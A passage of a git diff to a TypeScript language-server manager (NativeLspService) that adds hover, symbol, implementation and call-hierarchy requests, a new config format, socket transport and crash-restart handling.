= await this.loadUserConfigs(); + const extensionOverrides = + this.collectExtensionToLanguageOverrides(userConfigs); + const detectedLanguages = await this.detectLanguages(extensionOverrides); // 合并配置：内置预设 + 用户 .lsp.json + 可选 cclsp 兼容转换 - const serverConfigs = await this.mergeConfigs(detectedLanguages); + const serverConfigs = this.mergeConfigs(detectedLanguages, userConfigs); // 创建服务器句柄 for (const config of serverConfigs) { @@ -309,11 +374,338 @@ export class NativeLspService { return []; } + /** + * 获取悬停信息 + */ + async hover( + location: LspLocation, + serverName?: string, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request('textDocument/hover', { + textDocument: { uri: location.uri }, + position: location.range.start, + }); + const normalized = this.normalizeHoverResult(response, name); + if (normalized) { + return normalized; + } + } catch (error) { + console.warn(`LSP textDocument/hover failed for ${name}:`, error); + } + } + + return null; + } + + /** + * 获取文档符号 + */ + async documentSymbols( + uri: string, + serverName?: string, + limit = 200, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'textDocument/documentSymbol', + { + textDocument: { uri }, + }, + ); + if (!Array.isArray(response)) { + continue; + } + const symbols: LspSymbolInformation[] = []; + for (const item of response) { + if (!item || typeof item !== 'object') { + continue; + } + const itemObj = item as Record; + if (this.isDocumentSymbol(itemObj)) { + this.collectDocumentSymbol(itemObj, uri, name, symbols, limit); + } else { + const normalized = this.normalizeSymbolResult(itemObj, name); + if (normalized) { + symbols.push(normalized); + } + } + if (symbols.length >= limit) { + return symbols.slice(0, limit); + } + } + if (symbols.length > 0) { + return symbols.slice(0, limit); + } + } catch (error) { + console.warn( + `LSP textDocument/documentSymbol failed for ${name}:`, + error, + ); + } + } + + return []; + } + + /** + * 查找实现 + */ + async implementations( + location: LspLocation, + serverName?: string, + limit = 50, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'textDocument/implementation', + { + textDocument: { uri: location.uri }, + position: location.range.start, + }, + ); + const candidates = Array.isArray(response) + ? response + : response + ? [response] + : []; + const implementations: LspDefinition[] = []; + for (const item of candidates) { + const normalized = this.normalizeLocationResult(item, name); + if (normalized) { + implementations.push(normalized); + if (implementations.length >= limit) { + return implementations.slice(0, limit); + } + } + } + if (implementations.length > 0) { + return implementations.slice(0, limit); + } + } catch (error) { + console.warn( + `LSP textDocument/implementation failed for ${name}:`, + error, + ); + } + } + + return []; + } + + /** + * 准备调用层级 + */ + async prepareCallHierarchy( + location: LspLocation, + serverName?: string, + limit = 50, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'textDocument/prepareCallHierarchy', + { + textDocument: { uri: location.uri }, + position: location.range.start, + }, + ); + const candidates = Array.isArray(response) + ? response + : response + ? [response] + : []; + const items: LspCallHierarchyItem[] = []; + for (const item of candidates) { + const normalized = this.normalizeCallHierarchyItem(item, name); + if (normalized) { + items.push(normalized); + if (items.length >= limit) { + return items.slice(0, limit); + } + } + } + if (items.length > 0) { + return items.slice(0, limit); + } + } catch (error) { + console.warn( + `LSP textDocument/prepareCallHierarchy failed for ${name}:`, + error, + ); + } + } + + return []; + } + + /** + * 查找调用当前函数的调用者 + */ + async incomingCalls( + item: LspCallHierarchyItem, + serverName?: string, + limit = 50, + ): Promise { + const targetServer = serverName ?? item.serverName; + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!targetServer || name === targetServer), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'callHierarchy/incomingCalls', + { + item: this.toCallHierarchyItemParams(item), + }, + ); + if (!Array.isArray(response)) { + continue; + } + const calls: LspCallHierarchyIncomingCall[] = []; + for (const call of response) { + const normalized = this.normalizeIncomingCall(call, name); + if (normalized) { + calls.push(normalized); + if (calls.length >= limit) { + return calls.slice(0, limit); + } + } + } + if (calls.length > 0) { + return calls.slice(0, limit); + } + } catch (error) { + console.warn( + `LSP callHierarchy/incomingCalls failed for ${name}:`, + error, + ); + } + } + + return []; + } + + /** + * 查找当前函数调用的目标 + */ + async outgoingCalls( + item: LspCallHierarchyItem, + serverName?: string, + limit = 50, + ): Promise { + const targetServer = serverName ?? item.serverName; + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!targetServer || name === targetServer), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'callHierarchy/outgoingCalls', + { + item: this.toCallHierarchyItemParams(item), + }, + ); + if (!Array.isArray(response)) { + continue; + } + const calls: LspCallHierarchyOutgoingCall[] = []; + for (const call of response) { + const normalized = this.normalizeOutgoingCall(call, name); + if (normalized) { + calls.push(normalized); + if (calls.length >= limit) { + return calls.slice(0, limit); + } + } + } + if (calls.length > 0) { + return calls.slice(0, limit); + } + } catch (error) { + console.warn( + `LSP callHierarchy/outgoingCalls failed for ${name}:`, + error, + ); + } + } + + return []; + } + /** * 检测工作区中的编程语言 */ - private async detectLanguages(): Promise { - const patterns = ['**/*.{js,ts,jsx,tsx,py,go,rs,java,cpp,php,rb,cs}']; + private async detectLanguages( + extensionOverrides: Record = {}, + ): Promise { + const extensionMap = this.getExtensionToLanguageMap(extensionOverrides); + const extensions = Object.keys(extensionMap); + const patterns = + extensions.length > 0 ? [`**/*.{${extensions.join(',')}}`] : ['**/*']; const excludePatterns = [ '**/node_modules/**', '**/.git/**', @@ -351,7 +743,7 @@ export class NativeLspService { for (const file of Array.from(files)) { const ext = path.extname(file).slice(1).toLowerCase(); if (ext) { - const lang = this.mapExtensionToLanguage(ext); + const lang = this.mapExtensionToLanguage(ext, extensionMap); if (lang) { languageCounts.set(lang, (languageCounts.get(lang) || 0) + 1); } @@ -413,8 +805,17 @@ export class NativeLspService { /** * 将文件扩展名映射到编程语言 */ - private mapExtensionToLanguage(ext: string): string | null { - const extToLang: { [key: string]: string } = { + private mapExtensionToLanguage( + ext: string, + extensionMap: Record, + ): string | null { + return extensionMap[ext] || null; + } + + private getExtensionToLanguageMap( + extensionOverrides: Record = {}, + ): Record { + const extToLang: Record = { js: 'javascript', ts: 'typescript', jsx: 'javascriptreact', @@ -437,7 +838,37 @@ export class NativeLspService { yml: 'yaml', }; - return extToLang[ext] || null; + for (const [key, value] of Object.entries(extensionOverrides)) { + const normalized = key.startsWith('.') ? key.slice(1) : key; + if (!normalized) { + continue; + } + extToLang[normalized.toLowerCase()] = value; + } + + return extToLang; + } + + private collectExtensionToLanguageOverrides( + configs: LspServerConfig[], + ): Record { + const overrides: Record = {}; + for (const config of configs) { + if (!config.extensionToLanguage) { + continue; + } + for (const [key, value] of Object.entries(config.extensionToLanguage)) { + if (typeof value !== 'string') { + continue; + } + const normalized = key.startsWith('.') ? key.slice(1) : key; + if (!normalized) { + continue; + } + overrides[normalized.toLowerCase()] = value; + } + } + return overrides; } /** @@ -536,7 +967,7 @@ export class NativeLspService { return { name: (itemObj['name'] ?? itemObj['label'] ?? 'symbol') as string, - kind: itemObj['kind'] ? String(itemObj['kind']) : undefined, + kind: this.normalizeSymbolKind(itemObj['kind']), containerName: (itemObj['containerName'] ?? itemObj['container']) as | string | undefined, @@ -557,18 +988,331 @@ export class NativeLspService { }; } + private normalizeRange(range: unknown): LspRange | null { + if (!range || typeof range !== 'object') { + return null; + } + + const rangeObj = range as Record; + const start = rangeObj['start']; + const end = rangeObj['end']; + + if ( + !start || + typeof start !== 'object' || + !end || + typeof end !== 'object' + ) { + return null; + } + + const startObj = start as Record; + const endObj = end as Record; + + return { + start: { + line: Number(startObj['line'] ?? 0), + character: Number(startObj['character'] ?? 0), + }, + end: { + line: Number(endObj['line'] ?? 0), + character: Number(endObj['character'] ?? 0), + }, + }; + } + + private normalizeRanges(ranges: unknown): LspRange[] { + if (!Array.isArray(ranges)) { + return []; + } + + const results: LspRange[] = []; + for (const range of ranges) { + const normalized = this.normalizeRange(range); + if (normalized) { + results.push(normalized); + } + } + + return results; + } + + private normalizeSymbolKind(kind: unknown): string | undefined { + if (typeof kind === 'number') { + return SYMBOL_KIND_LABELS[kind] ?? String(kind); + } + if (typeof kind === 'string') { + const trimmed = kind.trim(); + if (trimmed === '') { + return undefined; + } + const numeric = Number(trimmed); + if (Number.isFinite(numeric) && SYMBOL_KIND_LABELS[numeric]) { + return SYMBOL_KIND_LABELS[numeric]; + } + return trimmed; + } + return undefined; + } + + private normalizeHoverContents(contents: unknown): string { + if (!contents) { + return ''; + } + if (typeof contents === 'string') { + return contents; + } + if (Array.isArray(contents)) { + const parts = contents + .map((item) => this.normalizeHoverContents(item)) + .map((item) => item.trim()) + .filter((item) => item.length > 0); + return parts.join('\n'); + } + if (typeof contents === 'object') { + const contentsObj = contents as Record; + const value = contentsObj['value']; + if (typeof value === 'string') { + const language = contentsObj['language']; + if (typeof language === 'string' && language.trim() !== '') { + return `\`\`\`${language}\n${value}\n\`\`\``; + } + return value; + } + } + return ''; + } + + private normalizeHoverResult( + response: unknown, + serverName: string, + ): LspHoverResult | null { + if (!response) { + return null; + } + if (typeof response !== 'object') { + const contents = this.normalizeHoverContents(response); + if (!contents.trim()) { + return null; + } + return { + contents, + serverName, + }; + } + + const responseObj = response as Record; + const contents = this.normalizeHoverContents(responseObj['contents']); + if (!contents.trim()) { + return null; + } + + const range = this.normalizeRange(responseObj['range']); + return { + contents, + range: range ?? undefined, + serverName, + }; + } + + private normalizeCallHierarchyItem( + item: unknown, + serverName: string, + ): LspCallHierarchyItem | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const nameValue = itemObj['name'] ?? itemObj['label'] ?? 'symbol'; + const name = + typeof nameValue === 'string' ? nameValue : String(nameValue ?? ''); + const uri = itemObj['uri']; + + if (!name || typeof uri !== 'string') { + return null; + } + + const range = this.normalizeRange(itemObj['range']); + const selectionRange = + this.normalizeRange(itemObj['selectionRange']) ?? range; + + if (!range || !selectionRange) { + return null; + } + + const serverOverride = + typeof itemObj['serverName'] === 'string' + ? (itemObj['serverName'] as string) + : undefined; + + // Preserve raw numeric kind for server communication + // Priority: rawKind field > numeric kind > parsed numeric string + let rawKind: number | undefined; + if (typeof itemObj['rawKind'] === 'number') { + rawKind = itemObj['rawKind']; + } else if (typeof itemObj['kind'] === 'number') { + rawKind = itemObj['kind']; + } else if (typeof itemObj['kind'] === 'string') { + const parsed = Number(itemObj['kind']); + if (Number.isFinite(parsed)) { + rawKind = parsed; + } + } + + return { + name, + kind: this.normalizeSymbolKind(itemObj['kind']), + rawKind, + detail: + typeof itemObj['detail'] === 'string' + ? (itemObj['detail'] as string) + : undefined, + uri, + range, + selectionRange, + data: itemObj['data'], + serverName: serverOverride ?? serverName, + }; + } + + private normalizeIncomingCall( + item: unknown, + serverName: string, + ): LspCallHierarchyIncomingCall | null { + if (!item || typeof item !== 'object') { + return null; + } + const itemObj = item as Record; + const from = this.normalizeCallHierarchyItem(itemObj['from'], serverName); + if (!from) { + return null; + } + return { + from, + fromRanges: this.normalizeRanges(itemObj['fromRanges']), + }; + } + + private normalizeOutgoingCall( + item: unknown, + serverName: string, + ): LspCallHierarchyOutgoingCall | null { + if (!item || typeof item !== 'object') { + return null; + } + const itemObj = item as Record; + const to = this.normalizeCallHierarchyItem(itemObj['to'], serverName); + if (!to) { + return null; + } + return { + to, + fromRanges: this.normalizeRanges(itemObj['fromRanges']), + }; + } + + private toCallHierarchyItemParams( + item: LspCallHierarchyItem, + ): Record { + // Use rawKind (numeric) for server communication, fallback to parsing kind string + let numericKind: number | undefined = item.rawKind; + if (numericKind === undefined && item.kind !== undefined) { + const parsed = Number(item.kind); + if (Number.isFinite(parsed)) { + numericKind = parsed; + } + } + + return { + name: item.name, + kind: numericKind, + detail: item.detail, + uri: item.uri, + range: item.range, + selectionRange: item.selectionRange, + data: item.data, + }; + } + + private isDocumentSymbol(item: Record): boolean { + const range = item['range']; + const selectionRange = item['selectionRange']; + return ( + typeof range === 'object' && + range !== null && + typeof selectionRange === 'object' && + selectionRange !== null + ); + } + + private collectDocumentSymbol( + item: Record, + uri: string, + serverName: string, + results: LspSymbolInformation[], + limit: number, + containerName?: string, + ): void { + if (results.length >= limit) { + return; + } + + const nameValue = item['name'] ?? item['label'] ?? 'symbol'; + const name = typeof nameValue === 'string' ? nameValue : String(nameValue); + const selectionRange = + this.normalizeRange(item['selectionRange']) ?? + this.normalizeRange(item['range']); + + if (!selectionRange) { + return; + } + + results.push({ + name, + kind: this.normalizeSymbolKind(item['kind']), + containerName, + location: { + uri, + range: selectionRange, + }, + serverName, + }); + + if (results.length >= limit) { + return; + } + + const children = item['children']; + if (Array.isArray(children)) { + for (const child of children) { + if (results.length >= limit) { + break; + } + if (child && typeof child === 'object') { + this.collectDocumentSymbol( + child as Record, + uri, + serverName, + results, + limit, + name, + ); + } + } + } + } + /** * 合并配置：内置预设 + 用户配置 + 兼容层 */ - private async mergeConfigs( + private mergeConfigs( detectedLanguages: string[], - ): Promise { + userConfigs: LspServerConfig[], + ): LspServerConfig[] { // 内置预设配置 const presets = this.getBuiltInPresets(detectedLanguages); - // 用户 .lsp.json 配置（如果存在） - const userConfigs = await this.loadUserConfigs(); - // 合并配置，用户配置优先级更高 const mergedConfigs = [...presets]; @@ -614,6 +1358,7 @@ export class NativeLspService { transport: 'stdio', initializationOptions: {}, rootUri, + workspaceFolder: this.workspaceRoot, trustRequired: true, }); } @@ -627,6 +1372,7 @@ export class NativeLspService { transport: 'stdio', initializationOptions: {}, rootUri, + workspaceFolder: this.workspaceRoot, trustRequired: true, }); } @@ -640,6 +1386,7 @@ export class NativeLspService { transport: 'stdio', initializationOptions: {}, rootUri, + workspaceFolder: this.workspaceRoot, trustRequired: true, }); } @@ -654,63 +1401,331 @@ export class NativeLspService { */ private async loadUserConfigs(): Promise { const configs: LspServerConfig[] = []; + const sources: Array<{ origin: string; data: unknown }> = []; - try { - const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); - if (fs.existsSync(lspConfigPath)) { + if (this.inlineServerConfigs) { + sources.push({ + origin: 'settings.lsp.languageServers', + data: this.inlineServerConfigs, + }); + } + + const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); + if (fs.existsSync(lspConfigPath)) { + try { const configContent = fs.readFileSync(lspConfigPath, 'utf-8'); - const userConfig = JSON.parse(configContent); - - // 验证并转换用户配置为内部格式 - if (userConfig && typeof userConfig === 'object') { - for (const [langId, serverSpec] of Object.entries( - userConfig, - ) as Array<[string, Record]>) { - // 转换为文件 URI 格式 - const rootUri = pathToFileURL(this.workspaceRoot).toString(); - - // 驗證 command 不為 undefined - if (!(serverSpec as Record)['command']) { - console.warn(`LSP 配置錯誤: ${langId} 缺少 command 屬性`); - continue; - } - - const serverConfig: LspServerConfig = { - name: (serverSpec as Record)[ - 'command' - ] as string, - languages: [langId], - command: (serverSpec as Record)[ - 'command' - ] as string, - args: - ((serverSpec as Record)['args'] as string[]) || - [], - transport: - ((serverSpec as Record)['transport'] as - | 'stdio' - | 'tcp') || 'stdio', - initializationOptions: (serverSpec as Record)[ - 'initializationOptions' - ] as LspInitializationOptions, - rootUri, - trustRequired: - ((serverSpec as Record)[ - 'trustRequired' - ] as boolean) ?? true, - }; - - configs.push(serverConfig); - } - } + sources.push({ + origin: lspConfigPath, + data: JSON.parse(configContent), + }); + } catch (e) { + console.warn('加载用户 .lsp.json 配置失败:', e); } - } catch (e) { - console.warn('加载用户 .lsp.json 配置失败:', e); + } + + for (const source of sources) { + const parsed = this.parseConfigSource(source.data, source.origin); + if (parsed.usedLegacyFormat && parsed.configs.length > 0) { + this.warnLegacyConfig(source.origin); + } + configs.push(...parsed.configs); } return configs; } + private parseConfigSource( + source: unknown, + origin: string, + ): { configs: LspServerConfig[]; usedLegacyFormat: boolean } { + if (!this.isRecord(source)) { + return { configs: [], usedLegacyFormat: false }; + } + + const configs: LspServerConfig[] = []; + let serverMap: Record = source; + let usedLegacyFormat = false; + + if (this.isRecord(source['languageServers'])) { + serverMap = source['languageServers'] as Record; + } else if (this.isNewFormatServerMap(source)) { + serverMap = source; + } else { + usedLegacyFormat = true; + } + + for (const [key, spec] of Object.entries(serverMap)) { + if (!this.isRecord(spec)) { + continue; + } + + const languagesValue = spec['languages']; + const languages = usedLegacyFormat + ? [key] + : (this.normalizeStringArray(languagesValue) ?? + (typeof languagesValue === 'string' ? [languagesValue] : [])); + + const name = usedLegacyFormat + ? typeof spec['command'] === 'string' + ? (spec['command'] as string) + : key + : key; + + const config = this.buildServerConfig(name, languages, spec, origin); + if (config) { + configs.push(config); + } + } + + return { configs, usedLegacyFormat }; + } + + private buildServerConfig( + name: string, + languages: string[], + spec: Record, + origin: string, + ): LspServerConfig | null { + const transport = this.normalizeTransport(spec['transport']); + const command = + typeof spec['command'] === 'string' + ? (spec['command'] as string) + : undefined; + const args = this.normalizeStringArray(spec['args']) ?? []; + const env = this.normalizeEnv(spec['env']); + const initializationOptions = this.isRecord(spec['initializationOptions']) + ? (spec['initializationOptions'] as LspInitializationOptions) + : undefined; + const settings = this.isRecord(spec['settings']) + ? (spec['settings'] as Record) + : undefined; + const extensionToLanguage = this.normalizeExtensionToLanguage( + spec['extensionToLanguage'], + ); + const workspaceFolder = this.resolveWorkspaceFolder( + spec['workspaceFolder'], + ); + const rootUri = pathToFileURL(workspaceFolder).toString(); + const startupTimeout = this.normalizeTimeout(spec['startupTimeout']); + const shutdownTimeout = this.normalizeTimeout(spec['shutdownTimeout']); + const restartOnCrash = + typeof spec['restartOnCrash'] === 'boolean' + ? (spec['restartOnCrash'] as boolean) + : undefined; + const maxRestarts = this.normalizeMaxRestarts(spec['maxRestarts']); + const trustRequired = + typeof spec['trustRequired'] === 'boolean' + ? (spec['trustRequired'] as boolean) + : true; + const socket = this.normalizeSocketOptions(spec); + + if (transport === 'stdio' && !command) { + console.warn(`LSP config error in ${origin}: ${name} missing command`); + return null; + } + + if (transport !== 'stdio' && !socket) { + console.warn( + `LSP config error in ${origin}: ${name} missing socket info`, + ); + return null; + } + + return { + name, + languages, + command, + args, + transport, + env, + initializationOptions, + settings, + extensionToLanguage, + rootUri, + workspaceFolder, + startupTimeout, + shutdownTimeout, + restartOnCrash, + maxRestarts, + trustRequired, + socket, + }; + } + + private isNewFormatServerMap(value: Record): boolean { + return Object.values(value).some( + (entry) => this.isRecord(entry) && this.isNewFormatServerSpec(entry), + ); + } + + private isNewFormatServerSpec(value: Record): boolean { + return ( + Array.isArray(value['languages']) || + this.isRecord(value['extensionToLanguage']) || + this.isRecord(value['settings']) || + value['workspaceFolder'] !== undefined || + value['startupTimeout'] !== undefined || + value['shutdownTimeout'] !== undefined || + value['restartOnCrash'] !== undefined || + value['maxRestarts'] !== undefined || + this.isRecord(value['env']) || + value['socket'] !== undefined + ); + } + + private warnLegacyConfig(origin: string): void { + if (this.warnedLegacyConfig) { + return; + } + console.warn( + `Legacy LSP config detected in ${origin}. Please migrate to the languageServers format.`, + ); + this.warnedLegacyConfig = true; + } + + private isRecord(value: unknown): value is Record { + return typeof value === 'object' && value !== null && !Array.isArray(value); + } + + private normalizeStringArray(value: unknown): string[] | undefined { + if (!Array.isArray(value)) { + return undefined; + } + return value.filter((item): item is string => typeof item === 'string'); + } + + private normalizeEnv(value: unknown): Record | undefined { + if (!this.isRecord(value)) { + return undefined; + } + const env: Record = {}; + for (const [key, val] of Object.entries(value)) { + if ( + typeof val === 'string' || + typeof val === 'number' || + typeof val === 'boolean' + ) { + env[key] = String(val); + } + } + return Object.keys(env).length > 0 ? env : undefined; + } + + private normalizeExtensionToLanguage( + value: unknown, + ): Record | undefined { + if (!this.isRecord(value)) { + return undefined; + } + const mapping: Record = {}; + for (const [key, lang] of Object.entries(value)) { + if (typeof lang !== 'string') { + continue; + } + const normalized = key.startsWith('.') ? key.slice(1) : key; + if (!normalized) { + continue; + } + mapping[normalized.toLowerCase()] = lang; + } + return Object.keys(mapping).length > 0 ? mapping : undefined; + } + + private normalizeTransport(value: unknown): 'stdio' | 'tcp' | 'socket' { + if (typeof value !== 'string') { + return 'stdio'; + } + const normalized = value.toLowerCase(); + if (normalized === 'tcp' || normalized === 'socket') { + return normalized; + } + return 'stdio'; + } + + private normalizeTimeout(value: unknown): number | undefined { + if (typeof value !== 'number') { + return undefined; + } + if (!Number.isFinite(value) || value <= 0) { + return undefined; + } + return value; + } + + private normalizeMaxRestarts(value: unknown): number | undefined { + if (typeof value !== 'number') { + return undefined; + } + if (!Number.isFinite(value) || value < 0) { + return undefined; + } + return value; + } + + private normalizeSocketOptions( + value: Record, + ): LspSocketOptions | undefined { + const socketValue = value['socket']; + if (typeof socketValue === 'string') { + return { path: socketValue }; + } + + const source = this.isRecord(socketValue) ? socketValue : value; + const host = + typeof source['host'] === 'string' + ? (source['host'] as string) + : undefined; + const pathValue = + typeof source['path'] === 'string' + ? (source['path'] as string) + : typeof source['socketPath'] === 'string' + ? (source['socketPath'] as string) + : undefined; + const portValue = source['port']; + const port = + typeof portValue === 'number' + ? portValue + : typeof portValue === 'string' + ? Number(portValue) + : undefined; + + const socket: LspSocketOptions = {}; + if (host) { + socket.host = host; + } + if (Number.isFinite(port) && (port as number) > 0) { + socket.port = port as number; + } + if (pathValue) { + socket.path = pathValue; + } + + if (!socket.path && !socket.port) { + return undefined; + } + return socket; + } + + private resolveWorkspaceFolder(value: unknown): string { + if (typeof value !== 'string' || value.trim() === '') { + return this.workspaceRoot; + } + + const resolved = path.isAbsolute(value) + ? path.resolve(value) + : path.resolve(this.workspaceRoot, value); + const root = path.resolve(this.workspaceRoot); + + if (resolved === root || resolved.startsWith(root + path.sep)) { + return resolved; + } + + console.warn( + `LSP workspaceFolder must be within ${this.workspaceRoot}; using workspace root instead.`, + ); + return this.workspaceRoot; + } + /** * 启动单个 LSP 服务器 */ @@ -718,13 +1733,22 @@ export class NativeLspService { name: string, handle: LspServerHandle, ): Promise { - if (this.excludedServers?.includes(name)) { + if (handle.status === 'IN_PROGRESS') { + return; + } + handle.stopRequested = false; + + if (this.isServerInList(this.excludedServers, handle.config)) { console.log(`LSP 服务器 ${name} 在排除列表中，跳过启动`); handle.status = 'FAILED'; return; } - if (this.allowedServers && !this.allowedServers.includes(name)) { + if ( + this.allowedServers && + this.allowedServers.length > 0 && + !this.isServerInList(this.allowedServers, handle.config) + ) { console.log(`LSP 服务器 ${name} 不在允许列表中，跳过启动`); handle.status = 'FAILED'; return; @@ -753,22 +1777,37 @@ export class NativeLspService { } // 检查命令是否存在 - if (!(await this.commandExists(handle.config.command))) { - console.warn(`LSP 服务器 ${name} 的命令不存在: ${handle.config.command}`); - handle.status = 'FAILED'; - return; - } + if (handle.config.command) { + const commandCwd = handle.config.workspaceFolder ?? this.workspaceRoot; + if ( + !(await this.commandExists( + handle.config.command, + handle.config.env, + commandCwd, + )) + ) { + console.warn( + `LSP 服务器 ${name} 的命令不存在: ${handle.config.command}`, + ); + handle.status = 'FAILED'; + return; + } - // 检查路径安全性 - if (!this.isPathSafe(handle.config.command, this.workspaceRoot)) { - console.warn( - `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, - ); - handle.status = 'FAILED'; - return; + // 检查路径安全性 + if ( + !this.isPathSafe(handle.config.command, this.workspaceRoot, commandCwd) + ) { + console.warn( + `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, + ); + handle.status = 'FAILED'; + return; + } } try { + handle.error = undefined; + handle.warmedUp = false; handle.status = 'IN_PROGRESS'; // 创建 LSP 连接 @@ -780,6 +1819,7 @@ export class NativeLspService { await this.initializeLspServer(connection, handle.config); handle.status = 'READY'; + this.attachRestartHandler(name, handle); console.log(`LSP 服务器 ${name} 启动成功`); } catch (error) { handle.status = 'FAILED'; @@ -795,19 +1835,146 @@ export class NativeLspService { name: string, handle: LspServerHandle, ): Promise { + handle.stopRequested = true; + if (handle.connection) { try { - await handle.connection.shutdown(); - handle.connection.end(); + await this.shutdownConnection(handle); } catch (error) { console.error(`关闭 LSP 服务器 ${name} 时出错:`, error); } - } else if (handle.process && !handle.process.killed) { + } else if (handle.process && handle.process.exitCode === null) { handle.process.kill(); } handle.connection = undefined; handle.process = undefined; handle.status = 'NOT_STARTED'; + handle.warmedUp = false; + handle.restartAttempts = 0; + } + + private isServerInList( + list: string[] | undefined, + config: LspServerConfig, + ): boolean { + if (!list || list.length === 0) { + return false; + } + if (list.includes(config.name)) { + return true; + } + if (config.command && list.includes(config.command)) { + return true; + } + return false; + } + + private async shutdownConnection(handle: LspServerHandle): Promise { + if (!handle.connection) { + return; + } + try { + const shutdownPromise = handle.connection.shutdown(); + if (typeof handle.config.shutdownTimeout === 'number') { + await Promise.race([ + shutdownPromise, + new Promise((resolve) => + setTimeout(resolve, handle.config.shutdownTimeout), + ), + ]); + } else { + await shutdownPromise; + } + } finally { + handle.connection.end(); + } + } + + private attachRestartHandler(name: string, handle: LspServerHandle): void { + if (!handle.process) { + return; + } + handle.process.once('exit', (code) => { + if (handle.stopRequested) { + return; + } + if (!handle.config.restartOnCrash) { + handle.status = 'FAILED'; + return; + } + const maxRestarts = handle.config.maxRestarts ?? DEFAULT_LSP_MAX_RESTARTS; + if (maxRestarts <= 0) { + handle.status = 'FAILED'; + return; + } + const attempts = handle.restartAttempts ?? 0; + if (attempts >= maxRestarts) { + console.warn( + `LSP 服务器 ${name} 达到最大重启次数 (${maxRestarts})，停止重启`, + ); + handle.status = 'FAILED'; + return; + } + handle.restartAttempts = attempts + 1; + console.warn( + `LSP 服务器 ${name} 退出 (code ${code ?? 'unknown'})，正在重启 (${handle.restartAttempts}/${maxRestarts})`, + ); + this.resetHandle(handle); + void this.startServer(name, handle); + }); + } + + private resetHandle(handle: LspServerHandle): void { + if (handle.connection) { + handle.connection.end(); + } + if (handle.process && handle.process.exitCode === null) { + handle.process.kill(); + } + handle.connection = undefined; + handle.process = undefined; + handle.status = 'NOT_STARTED'; + handle.error = undefined; + handle.warmedUp = false; + handle.stopRequested = false; + } + + private buildProcessEnv( + env: Record | undefined, + ): NodeJS.ProcessEnv | undefined { + if (!env || Object.keys(env).length === 0) { + return undefined; + } + return { ...process.env, ...env }; + } + + private async connectSocketWithRetry( + socket: LspSocketOptions, + timeoutMs: number, + ): Promise< + Awaited> + > { + const deadline = Date.now() + timeoutMs; + let attempt = 0; + while (true) { + const remaining = deadline - Date.now(); + if (remaining <= 0) { + throw new Error('LSP server connection timeout'); + } + try { + return await LspConnectionFactory.createSocketConnection( + socket, + remaining, + ); + } catch (error) { + attempt += 1; + if (Date.now() >= deadline) { + throw error; + } + const delay = Math.min(250 * attempt, 1000); + await new Promise((resolve) => setTimeout(resolve, delay)); + } + } } /** @@ -815,17 +1982,27 @@ export class NativeLspService { */ private async createLspConnection(config: LspServerConfig): Promise<{ connection: LspConnectionInterface; - process: ChildProcess; + process?: ChildProcess; shutdown: () => Promise; exit: () => void; initialize: (params: unknown) => Promise; }> { + const workspaceFolder = config.workspaceFolder ?? this.workspaceRoot; + const startupTimeout = + config.startupTimeout ?? DEFAULT_LSP_STARTUP_TIMEOUT_MS; + const env = this.buildProcessEnv(config.env); + if (config.transport === 'stdio') { + if (!config.command) { + throw new Error('LSP stdio transport requires a command'); + } + // 修复：使用 cwd 作为 cwd 而不是 rootUri const lspConnection = await LspConnectionFactory.createStdioConnection( config.command, - config.args, - { cwd: this.workspaceRoot }, + config.args ?? [], + { cwd: workspaceFolder, env }, + startupTimeout, ); return { @@ -843,9 +2020,50 @@ export class NativeLspService { initialize: async (params: unknown) => lspConnection.connection.initialize(params), }; - } else if (config.transport === 'tcp') { - // 如果需要 TCP 支持，可以扩展此部分 - throw new Error('TCP transport not yet implemented'); + } else if (config.transport === 'tcp' || config.transport === 'socket') { + if (!config.socket) { + throw new Error('LSP socket transport requires host/port or path'); + } + + let process: ChildProcess | undefined; + if (config.command) { + process = spawn(config.command, config.args ?? [], { + cwd: workspaceFolder, + env, + stdio: 'ignore', + }); + await new Promise((resolve, reject) => { + process?.once('spawn', () => resolve()); + process?.once('error', (error) => { + reject(new Error(`Failed to spawn LSP server: ${error.message}`)); + }); + }); + } + + try { + const lspConnection = await this.connectSocketWithRetry( + config.socket, + startupTimeout, + ); + + return { + connection: lspConnection.connection as LspConnectionInterface, + process, + shutdown: async () => { + await lspConnection.connection.shutdown(); + }, + exit: () => { + lspConnection.connection.end(); + }, + initialize: async (params: unknown) => + lspConnection.connection.initialize(params), + }; + } catch (error) { + if (process && process.exitCode === null) { + process.kill(); + } + throw error; + } } else { throw new Error(`Unsupported transport: ${config.transport}`); } @@ -858,15 +2076,16 @@ export class NativeLspService { connection: Awaited>, config: LspServerConfig, ): Promise { + const workspaceFolderPath = config.workspaceFolder ?? this.workspaceRoot; const workspaceFolder = { - name: path.basename(this.workspaceRoot) || this.workspaceRoot, + name: 